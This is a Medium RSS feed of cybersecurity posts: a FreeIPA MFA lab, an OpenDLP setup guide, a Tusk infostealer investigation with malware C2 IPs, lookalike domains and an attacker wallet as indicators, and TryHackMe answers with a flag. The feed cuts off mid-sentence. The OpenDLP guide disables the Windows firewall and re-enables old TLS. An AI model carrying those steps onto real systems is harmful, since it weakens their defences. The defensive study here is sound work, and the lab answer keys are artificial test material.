<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdelrahman Metwaly on Medium]]></title>
        <description><![CDATA[Stories by Abdelrahman Metwaly on Medium]]></description>
        <link>https://medium.com/@abdelrahman0x1?source=rss-bac32a292b9d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gZGBxb5eJ9UlV_egeUY-3Q.jpeg</url>
            <title>Stories by Abdelrahman Metwaly on Medium</title>
            <link>https://medium.com/@abdelrahman0x1?source=rss-bac32a292b9d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 23:07:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abdelrahman0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FreeIPA Lab — Identity, Policy, Authentication in Action]]></title>
            <link>https://medium.com/@abdelrahman0x1/freeipa-lab-identity-policy-authentication-in-action-83a61091a0e4?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/83a61091a0e4</guid>
            <category><![CDATA[iam-roles]]></category>
            <category><![CDATA[identity-management]]></category>
            <category><![CDATA[grc]]></category>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Thu, 14 Aug 2025 16:31:47 GMT</pubDate>
            <atom:updated>2025-08-14T16:31:47.526Z</atom:updated>
            <content:encoded><![CDATA[<h3>FreeIPA Lab — Identity, Policy, Authentication in Action</h3><p>Implementing Centralized Authentication with FreeIPA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKqVva6s4o-Z_0xokhtejQ.jpeg" /></figure><h3>Intro:</h3><p>In modern IT environments, managing user identities, authentication methods, and access privileges across multiple systems can quickly become complex and prone to security risks. <strong>FreeIPA</strong> offers an integrated, open-source solution that streamlines these processes by combining directory services, authentication protocols, and policy enforcement in a single platform.</p><p>This lab demonstrates how to deploy and configure FreeIPA within a hybrid Linux setup for the <strong>Computer Engineering Department</strong>, enabling centralized login management, enforcing <strong>Multi-Factor Authentication (MFA)</strong>, and ensuring consistent security policies. By the end of this lab, all user accounts and access rules are controlled from one central authority — improving security, compliance, and administrative efficiency.</p><h3>1. Purpose of the Lab</h3><p>This exercise focuses on setting up a <strong>centralized user identity and access control platform</strong> for the <strong>Computer Engineering Department</strong>, leveraging <strong>FreeIPA</strong> as the core solution.</p><h4>Key activities covered include:</h4><ul><li>Deployment and initial configuration of the FreeIPA service.</li><li>Linking Ubuntu-based workstations to the FreeIPA domain.</li><li>Activating <strong>two-step verification</strong> using a <strong>time-based OTP mechanism</strong>.</li><li>Testing user logins through desktop session access.</li><li>Administering accounts, roles, and security policies from a single management point.</li></ul><h3>2. Overview</h3><p><strong>FreeIPA</strong> serves as an integrated framework for managing identities, authentication, and authorization across a network. It combines several key services:</p><ul><li><strong>Kerberos</strong> — Provides secure ticket-based authentication.</li><li><strong>LDAP</strong> — Acts as the structured directory for identity storage.</li><li><strong>SSSD</strong> — Manages client-side policy enforcement and credential caching.</li><li><strong>DNS</strong> — Handles internal host and service name resolution.</li></ul><p>Its adoption is common in <strong>corporate</strong> and <strong>educational</strong> infrastructures, where unifying login processes and enforcing consistent policies are critical.</p><p>This lab illustrates how FreeIPA can operate in a <strong>multi-distribution Linux setup</strong>, introducing MFA for enhanced security while maintaining compliance with institutional governance and risk control practices.</p><h3>3. Lab Infrastructure</h3><p>The lab environment is configured with the following components to support the deployment and evaluation of FreeIPA services:</p><ul><li><strong>Server Platform:</strong> AlmaLinux 9.6 (RHEL-compatible) hosting the FreeIPA server instance.</li><li><strong>Client Platform:</strong> Kali Linux 2025.2 integrated as a FreeIPA domain member.</li><li><strong>Domain Configuration:</strong> grc.local designated as the internal authentication realm.</li><li><strong>Test Credentials:</strong> User account abdallruhman for authentication validation.</li><li><strong>Multi-Factor Authentication:</strong> TOTP (Time-based One-Time Password) for enhanced login security.</li><li><strong>Core Utilities:</strong> ipa, kinit, sssd, graphical login interface, and shell-based access tools.</li></ul><h3>4. Setting Up the FreeIPA Server on AlmaLinux 9.6</h3><p>For this lab, we deployed <strong>AlmaLinux 10</strong> as the FreeIPA server using a <strong>minimal installation</strong> to keep the environment lightweight and focused. The server runs as a VM with <strong>2 GB RAM, 2 CPU cores, and 20 GB of disk space</strong>.</p><h3>Initial Setup</h3><p>After booting from the AlmaLinux minimal ISO, we configured the following:</p><ul><li><strong>Language &amp; Keyboard:</strong> Selected according to preference.</li><li><strong>Software Selection:</strong> Minimal Install with Guest Agents only.</li><li><strong>Hostname:</strong> ipa.grc.local</li><li><strong>Static IP:</strong> 192.168.118.130</li><li><strong>Domain:</strong> grc.local (internal lab domain)</li><li><strong>User:</strong> Created an administrative account admin and enabled root access.</li></ul><h3>Installation &amp; Reboot</h3><p>With the configuration complete, the OS installation was executed and the system was rebooted. After reboot, the VM was ready for FreeIPA installation and further configuration.</p><h4>4.1 FreeIPA Server installation</h4><p>There seem to be two versions of FreeIPA Server we can install. One with an integrated DNS and the other without. We will install the one with DNS integrated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZbbfRmf1XhMaWKoxEUQow.jpeg" /><figcaption>sudo dnf install freeipa-server-dns</figcaption></figure><p>Before configuring FreeIPA, it’s important to ensure that the system can resolve its own hostname. This can be done by adding an entry to the <strong>/etc/hosts</strong> file. Include a line mapping your server’s IP address to its hostname.</p><blockquote><strong><em>Note:</em></strong><em> If your network already has a functional DNS server, this step can be skipped.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*s6XLnYQSrtmDSTrBZ9pdzQ.png" /><figcaption>sudo vi /etc/hosts</figcaption></figure><p>Next, we can proceed with the <strong>FreeIPA server installation</strong>. In this case, we include the option --allow-zone-overlap because the domain we are using already exists. Normally, FreeIPA expects to be the authoritative source for a domain, and the installation would fail if it isn’t. If you are using a brand-new or local domain, such as .local, this option is not required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*SIFyi-PDOEfJHBf-6TbiZw.png" /></figure><p>Now the installation should begin. This could take about 10 min</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*YQoGbDLLbl5QiyWXjQU-kA.jpeg" /></figure><h4>FreeIPA Web Interface</h4><h4>User Creation</h4><p>Now we should be able to access the WebUI. Once we enter the URL “https://ipa.grc.local/” into the search bar of our favourite browser, we should be able to login into the interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6P2k4LgYpsKHaoma5AYhZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6of_armiXXU6jR_SMnDKA.jpeg" /></figure><h4>4.2 Configuring DNS and Hostname</h4><p>Before FreeIPA can fully function, the server’s <strong>hostname</strong> and <strong>DNS settings</strong> must be properly configured. This ensures that the system can resolve its own name and communicate correctly within the network, which is essential for authentication, domain services, and client integration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AzQCt5aXiKUN-Mq7cpOrgw.jpeg" /><figcaption>hostnamectl set-hostname ipa.grc.local</figcaption></figure><h4>4.3 Configuring Firewall and Enabling Services</h4><p>To ensure FreeIPA operates smoothly, it’s essential to <strong>allow the necessary ports through the firewall</strong> and <strong>enable required services</strong>. This step guarantees that both internal clients and administrative tools can communicate with the FreeIPA server without interruptions. Proper firewall configuration is a key part of maintaining a secure and functional identity management environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*EFbwHYUBQAdDKghFfdA3ew.png" /></figure><h4>4.4 Installing the FreeIPA Client on Kali Linux 2025.2</h4><p>After setting up the FreeIPA server, the next step is to <strong>integrate client machines</strong>. In this lab, we install the FreeIPA client on <strong>Kali Linux 2025.2</strong>, allowing the system to join the FreeIPA domain, authenticate users centrally, and enforce policies configured on the server. Proper client installation ensures seamless communication and management between the server and endpoints</p><pre>sudo apt install freeipa-client<br>sudo ipa-client-install --domain=grc.local --server=ipa.grc.local --mkhomedir</pre><h4>4.5 Adding a User in FreeIPA</h4><p>With the FreeIPA server and client set up, the next step is to <strong>create user accounts</strong>. This allows individuals to authenticate and access resources based on centrally managed policies.</p><p>Adding a user in FreeIPA can be done via the <strong>web interface</strong> or the <strong>command line</strong>, providing flexibility depending on your preference or environment. Proper user management ensures secure access and aligns with organizational identity policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*FmHpPvP-eJC2i5yLMvyoig.png" /></figure><h4>4.6 Enforcing Multi-Factor Authentication (MFA) for Users</h4><p>To enhance security, FreeIPA allows administrators to <strong>enforce Multi-Factor Authentication (MFA)</strong> for user accounts. This adds an extra layer of protection by requiring a <strong>time-based one-time password (TOTP)</strong> in addition to the regular login credentials.</p><p>Enforcing MFA ensures that even if a password is compromised, unauthorized access is prevented, strengthening the overall security posture of the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*CuNbdFk6R1bBRSkFnY1amQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*YRSrfbCEISSZatupdstppQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*jmSjnvMyypC-l6fZ5HYgiw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*QMB8Knb5oHvqoRiLiwg6jw.jpeg" /></figure><h4>4.7 Adding an OTP Token</h4><p>To implement Multi-Factor Authentication (MFA), each user must have an <strong>OTP (One-Time Password) token</strong> registered in FreeIPA. This token generates time-based codes that the user provides during login, adding an additional layer of security beyond their password.</p><p>By assigning OTP tokens, administrators ensure that user accounts are better protected against unauthorized access, aligning with best practices for secure identity management</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgmmMQplmGQ2AF8lmyaX8A.png" /><figcaption>ipa otptoken-add — owner=abdallruhman — desc=”Abdallruhman Metwaly MFA”</figcaption></figure><h4>4.8 Verifying the OTP Token</h4><p>After adding an OTP token, it is important to <strong>confirm that the token has been successfully registered</strong> for the user. Verification ensures that Multi-Factor Authentication (MFA) is active and ready for use during login attempts.</p><p>This step can be performed via the <strong>FreeIPA web interface</strong> or the <strong>command line</strong>, providing a quick check to guarantee that the user’s account is fully secured with an OTP token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*Z7yGgGmoBdVcFuBT3S1Kuw.png" /></figure><h4>4.9 Setting a Password for the User abdallruhman</h4><p>Once the user account is created, the next step is to <strong>set a secure password</strong>. This can be done via the <strong>FreeIPA web interface</strong> or using the <strong>command line</strong>.</p><p>Assigning a strong password ensures that the account is immediately usable and reinforces the security of the centralized identity system. This step is especially important when combining password authentication with <strong>Multi-Factor Authentication (MFA)</strong> for enhanced protection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*7FN6kitlkK51-pKg__pmoA.png" /></figure><h4>4.10 Testing GUI Login with MFA</h4><p>After configuring the user account and enabling Multi-Factor Authentication (MFA), it’s essential to <strong>verify that the setup works correctly</strong>. Log in to the <strong>FreeIPA client GUI</strong> using the credentials for abdallruhman and complete the MFA prompt with the OTP token.</p><p>This test confirms that the user can authenticate successfully and that MFA is enforced, ensuring both usability and security of the centralized identity management system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgZu0UJTRTBPnatfzSBffg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2RM5C2-zExg2fAUomUMyBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UFFcKzWtS_IBhcEycT60Ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V07fO8XmaTyJmGgj8IO6EA.png" /></figure><h3>Conclusion</h3><p>In this lab, we successfully deployed and configured a <strong>FreeIPA server</strong> on AlmaLinux 9.6 and integrated a <strong>Kali Linux 2025.2 client</strong> into the domain. Key tasks included setting up the server hostname and DNS, adding and managing user accounts, and enforcing <strong>Multi-Factor Authentication (MFA)</strong> with OTP tokens.</p><p>Through this hands-on exercise, we demonstrated how FreeIPA provides a <strong>centralized identity and access management solution</strong>, streamlining authentication, enhancing security, and enabling consistent policy enforcement across multiple systems. This lab highlights the importance of combining proper server configuration, user management, and MFA to achieve a secure and compliant network environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83a61091a0e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenDLP Installation & Deployment Workflow]]></title>
            <link>https://medium.com/@abdelrahman0x1/opendlp-installation-deployment-workflow-4510775369c5?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4510775369c5</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[data-encryption]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[grc]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Fri, 08 Aug 2025 17:13:12 GMT</pubDate>
            <atom:updated>2025-08-08T17:13:12.398Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up outlines the implementation of OpenDLP, an open-source data loss prevention tool, deployed in a virtualized environment. It covers the step-by-step process of setting up the system, configuring network and scan settings, and using the web interface to identify and analyze sensitive data across Windows and Linux systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*tn4yvjJxJdyd6YLjVa1J4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VaFIjgXKlsPMDmZuDlxQ8A.png" /></figure><h4>What is OpenDLP: <strong>OpenDLP</strong> is an open-source data loss prevention (DLP) solution designed to help organizations <strong>discover and analyze sensitive data</strong> across their systems. Developed with flexibility and scalability in mind, OpenDLP enables administrators to perform <strong>agent-based and agentless scans</strong> on Windows and Unix systems to identify <strong>PII (Personally Identifiable Information)</strong> such as credit card numbers, Social Security numbers, and more.</h4><h4>It provides a <strong>web-based interface</strong> for easy configuration, scan management, and result visualization, making it a practical tool for <strong>data security, compliance audits, and risk assessments</strong>.</h4><h3>First: go to the OpenDLP website download the virtual machine image and import it into VirtualBox or VMware</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHMaYUlcny4dxrLIpyMuvQ.png" /></figure><p>Make sure to download and combine all the .7z files they work together to extract the main OpenDLP image</p><p>After downloading and installing the required .7z files, we’ll extract the archive to get the OpenDLP virtual machine image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*eRf5OebpieE3EjBWQBgq2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*l363U3rAZ6abo3epIZrDvA.png" /></figure><p>We’ll select all the .7z parts and extract them together using 7-Zip to get the full OpenDLP image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*4646vOkt52ZW3qgtwWKSzg.png" /></figure><p>Next, we’ll import the extracted .ova file into VMware to create the OpenDLP virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pBNuiLbjA9jyckkocpb3w.png" /></figure><p>After setting it up, we need to double-check a few important settings to ensure everything works properly and Make sure to set the network adapter to NAT mode to avoid any connection errors</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*NxNVR67W_etlJ2Uo3iU1zg.png" /></figure><p>The default username and password are both opendlp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*kw960dTq_feuE0sjpq9XpA.png" /></figure><p>We checked the machine’s IP address, and now we’ll ping it from another system to verify the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LA5bDCkQy06h2BsTLAriPw.png" /></figure><p>I pinged the OpenDLP IP address to check if it’s reachable and working.</p><p>we will insert the certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPMX5oz7MBkmDGQg6XOIdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*SS3RPj649IB6SV4cRvUG4Q.png" /></figure><p>I tried to access OpenDLP, but the ping from OpenDLP to Windows didn’t work due to the firewall. You need to disable it using the following command.</p><pre>netsh advfirewall set allprofiles state off</pre><p>We need to review and adjust the Firefox settings to enable TLS 1.0 and 1.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2uAsXFK4pMbcpNphgmYYw.png" /></figure><pre>about:config</pre><p>We will search for:</p><pre>security.tls.version.min</pre><p>We’ll set the value to 1 and try accessing the page:</p><pre>https://IP-Add</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMdHP-RobnGCVmlSNeKYGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DDPctTUdEuMCjqL9VQOjQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGuADzRRzZcs8COEgATsFw.png" /></figure><p>Then we’ll open the OpenDLP web interface to login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NLG-Y4FeD5T3I8JnpsMC6w.png" /></figure><p>That’s it! The username is dlpuser and the password is OpenDLP Here We go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqiZ7Hn5vrKBTYKEN2Ekxw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4510775369c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tusk Infostealer: Investigating a Targeted Credential Theft Against Blockchain Infrastructure]]></title>
            <link>https://medium.com/@abdelrahman0x1/tusk-infostealer-investigating-a-targeted-credential-theft-against-blockchain-infrastructure-ca940e4fee85?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca940e4fee85</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 19:47:24 GMT</pubDate>
            <atom:updated>2025-04-05T19:47:24.148Z</atom:updated>
            <content:encoded><![CDATA[<p>A forensic analysis of a cyberattack exploiting DAO platform access to compromise crypto assets and exfiltrate sensitive credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRl7jzhvXItqi7gL61RUog.png" /></figure><h3>Scenario: A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.</h3><h3>Your task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor’s infrastructure.</h3><h3>Q1: What is the size of the malicious file?</h3><p>By analyzing the hash on VirusTotal, the file size can be identified within the scan details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*maug_tcXwl-z5MM7quaU7g.png" /></figure><pre>The Answer: 921.36 KB</pre><h3>Q2: What word does the threat actor use in log messages to refer to victims, drawing inspiration from ancient tusk hunters?</h3><p>The name of the lab is “Tusk Infostealer”, and the word “tusk” means “the core”, and this is a symbol of the types of animals that were caught for time of elephants or mammoths so that they can take the fangs from them. The whole topic uses the analogy of the hunter and prey.</p><p>In the malicious software sometimes there are internal access messages, functions, or variables that hackers land and cross their way of thinking. When the lab says that the attacker “is inspired by the hunters of the old fangs”, this means that the terms that he uses in the logos are inspired by the hunting world.</p><p>Since the hunter hunts “prey”, the closest word that the attacker can use to refer to the victim or description to the animal is taken from him (the hacker himself),</p><p>According to Kaspersky’s analysis of the <strong>Tusk Infostealer</strong> campaign, the threat actor refers to victims as <strong>“Mammoth”</strong> in the log messages, This terminology draws inspiration from ancient tusk hunters, who would hunt large animals like mammoths for their tusks, The use of “Mammoth” symbolizes the attackers viewing their victims as valuable targets to be hunted and exploited</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQ0qxuF5gro_ZVNqfwZ9oA.png" /></figure><pre>The Answer: Mammoth</pre><h3>Q3: The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (peerme.io). What is the name of the malicious website the attacker created to simulate this platform?</h3><p>The attacker set up a malicious website to <strong>mimic</strong> a legitimate platform used for creating and managing <strong>Decentralized Autonomous Organizations (DAOs)</strong> on the <strong>MultiversX blockchain</strong>. The <strong>legitimate platform</strong> is called <strong>peerme.io</strong>, which allows users to interact with DAOs</p><p>To carry out the attack, the threat actor created a <strong>fake website</strong> designed to look like <strong>peerme.io</strong> in order to deceive users. The purpose of this fake site is to steal sensitive information (such as credentials, private keys, or financial data) by tricking users into thinking they are interacting with the legitimate platform</p><p>The Kaspersky report includes screenshots showcasing the malicious website created by the attacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BcKRkVLxjYPvOt3kJZj3GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0tgvov0jFmdp2YO0GW48w.png" /></figure><pre>The Answer: tidyme.io</pre><h3>Q4: Which cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions?</h3><p><strong>Dropbox</strong> was the cloud storage service used by the campaign operators to host malware for both platforms</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1xBCyAudOJz4D2lpglwVQ.png" /></figure><pre>The Answer: Dropbox</pre><h3>Q5: The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. What is the password for decompression found in this configuration file?</h3><p>The password for decompression in the configuration file, according to the Kaspersky report, is “newfile2024.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Y-h_m-XpeXd87MB1evZGA.png" /></figure><pre>The Answer: Newfile2024</pre><h3>Q6: What is the name of the function responsible for retrieving the field archive from the configuration file?</h3><p>The function responsible for retrieving the field archive from the configuration file is <strong>downloadAndExtractArchive</strong>. This function likely handles both downloading the archive and extracting it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPGgOFdizF9uKl5IWGZT3Q.png" /></figure><pre>The Answer: downloadAndExtractArchive</pre><h3>Q7: In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. What is the name of the legitimate translator, and what is the name of the malicious translator created by the attackers?</h3><p>In the third sub-campaign carried out by the operators, the legitimate translator used was <strong>yous.ai</strong>, while the malicious translator created by the attackers was <strong>voico.io</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kdpmtef14v6pHpQb2y0FcA.png" /></figure><pre>The Answer: yous.ai, voico.io</pre><h3>Q8: The downloader is tasked with delivering additional malware samples to the victim’s machine, primarily infostealers like StealC and Danabot. What are the IP addresses of the <strong>StealC C2 servers </strong>used in the campaign?</h3><p>The IP addresses of the StealC C2 servers used in the campaign are <strong>46.8.238.240</strong> and <strong>23.94.225.177</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQ_e_L_r2w1zPo36p4XU3g.png" /></figure><pre>The Answer: 46.8.238.240, 23.94.225.177</pre><h3>Q9: What is the address of the Ethereum cryptocurrency wallet used in this campaign?</h3><p>The address of the Ethereum cryptocurrency wallet used in this campaign is <strong>0xaf0362e215Ff4e004F30e785e822F7E20b99723A</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIYT7O08vdj4-8fsi4e_Hw.png" /></figure><pre>The Answer: 0xaf0362e215Ff4e004F30e785e822F7E20b99723A</pre><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca940e4fee85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Resilient Networks: A Deep Dive into Secure Network Architecture]]></title>
            <link>https://medium.com/@abdelrahman0x1/building-resilient-networks-a-deep-dive-into-secure-network-architecture-eb66ac4ce192?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb66ac4ce192</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[it-security]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Sun, 16 Mar 2025 22:55:30 GMT</pubDate>
            <atom:updated>2025-03-16T22:55:30.898Z</atom:updated>
            <content:encoded><![CDATA[<p>Exploring Strategies for Network Segmentation, Redundancy, and Security Best Practices</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGrJ9OphNIa0iGDWiWSL5g.jpeg" /></figure><h3><strong>Introduction</strong></h3><h4>In today’s digital landscape, networking is the backbone of any corporate environment. It ensures seamless communication, internet access, and system functionality. However, network design often overlooks security, leaving organizations vulnerable to cyber threats. A well-structured network goes beyond connectivity—it integrates redundancy, segmentation, and security measures to prevent downtime and mitigate risks.</h4><h4>Imagine a scenario where a switch fails but data seamlessly reroutes, ensuring uninterrupted operations. Or imagine a compromised web server that remains isolated, unable to spread threats across the network. These are the principles of secure network architecture: designing networks that not only function efficiently but also defend against evolving threats.</h4><h4>In this write-up, we’ll explore the key elements of secure network design, best practices for segmentation, and the risks that persist even in well-secured infrastructures. By the end, you’ll have a clearer understanding of how to build a resilient and secure network environment.</h4><h3>Task 2: Network Segmentation</h3><h4>1- How many trunks are present in this configuration?</h4><p>in Interface Configuration Snippet :</p><p><strong>Find the Bridge Definition </strong>Looking for a <strong>bridge (br0, br1, etc.)</strong> in the configuration, This is where multiple interfaces are connected</p><p>we will find there are many bridges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z644EmPk0D6Tc4Y71Yq9mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5WsdruxL7OwxYDbeqXLLQ.png" /></figure><p>so there are 4 trunks are present</p><pre>The Answer: 4</pre><h4>2- What is the VLAN tag ID for interface eth12?</h4><p>In the same configuration snippet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*r9_ZbhPWqo1l0sIaEj0VCw.png" /></figure><pre>The Answer: 30</pre><h3>Task 3: Common Secure Network Architecture</h3><h4>1-From the above table, what zone would a user connecting to a public web server be in?</h4><pre>The Answer: External</pre><h4>2-From the above table, what zone would a public web server be in?</h4><pre>The Answer: DMZ</pre><h4>3-From the above table, what zone would a core domain controller be placed in?</h4><pre>The Answer: Restricted</pre><h3>Task 4: Network Security Policies and Controls</h3><h4>1- According to the corresponding ACL policy, will the first packet result in a drop or accept?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2WAZ3IOtPkbHin9rZYyrJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_Ob6b5YvQ8bBcY0VDvkjw.png" /></figure><p>The packet will be allowed since the ACL explicitly permits traffic from the source IP 10.10.212.209, and no other rules block it.</p><pre>The Answer: Accept</pre><h4>2-According to the corresponding ACL policy, will the second packet result in a drop or accept?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Onr3fcJwYQjKVqCuoYcOhg.png" /></figure><p>The packet will be dropped because the ACL policy explicitly blocks any traffic destined for 10.10.212.209, regardless of the source address or port number</p><pre>The Answer: Drop</pre><h3>Task 5: Zone-Pair Policies and Filtering</h3><h4>1- What is the flag found after filling in all blanks on the static site?</h4><p>depending on this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AO_v6MQ415JM1unsBZg6dA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*TeHVg_zzTpIVHwzej7-PDQ.png" /></figure><pre>The Answer: THM{M05tly_53cure}</pre><h3>Task 6: Validating Network Traffic</h3><h4>1- Does SSL inspection require a man-in-the-middle proxy? (Y/N)</h4><pre>The Answer: Y</pre><h4>2- What platform processes data sent from an SSL proxy?</h4><pre>The Answer: Unified Threat Management</pre><h3>Task 7: Addressing Common Attacks</h3><h4>1- Where does DHCP snooping store leased IP addresses from untrusted hosts?</h4><pre>The Answer: DHCP Binding Database</pre><h4>2- Will a switch drop or accept a DHCPRELEASE packet?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k95at11cahJXp2I1ueqeFA.png" /></figure><pre>The Answer: Drop</pre><h4>3- Does dynamic ARP inspection use the DHCP binding database? (Y/N)</h4><pre>The Answer: Y</pre><h4>4- Dynamic ARP inspection will match an IP address and what other packet detail?</h4><pre>The Answer: Mac Address</pre><h3>Conclusion:</h3><p>In this room, we have expanded the common requirements of a well-designed network to include security standards.</p><p>We have discussed approaches and solutions for problems commonly encountered at layers two and three of the OSI model. It may be apparent that this does not solve all issues, and each environment may have different requirements for what it should monitor and block.</p><p>To continue exploring network security beyond design, complete the <a href="https://tryhackme.com/room/networksecurityprotocols">Network Security Protocols</a> room. You will go beyond the layers we discussed and observe security from layers seven to three that we did not discuss 